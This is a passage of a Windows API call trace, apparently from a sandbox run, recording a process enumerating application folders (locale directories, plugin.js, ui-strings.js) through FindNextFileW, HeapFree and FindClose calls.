	[0171.240] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.240] FindNextFileW (in: hFindFile=0x394b738, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.240] FindClose (in: hFindFile=0x394b738 | out: hFindFile=0x394b738) returned 1
	[0171.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.242] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1
	[0171.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.246] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.365] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.592] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.594] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.595] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.596] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.598] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.599] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.600] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.600] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.601] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.602] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.603] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.604] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.604] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.605] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.606] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.606] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.607] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.608] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.608] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.608] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.609] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.610] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.610] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.611] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.612] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.614] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.615] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.615] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.616] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.617] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.617] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.619] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.620] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.620] FindClose (in: hFindFile=0x394b9b8 | out: hFindFile=0x394b9b8) returned 1
	[0171.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
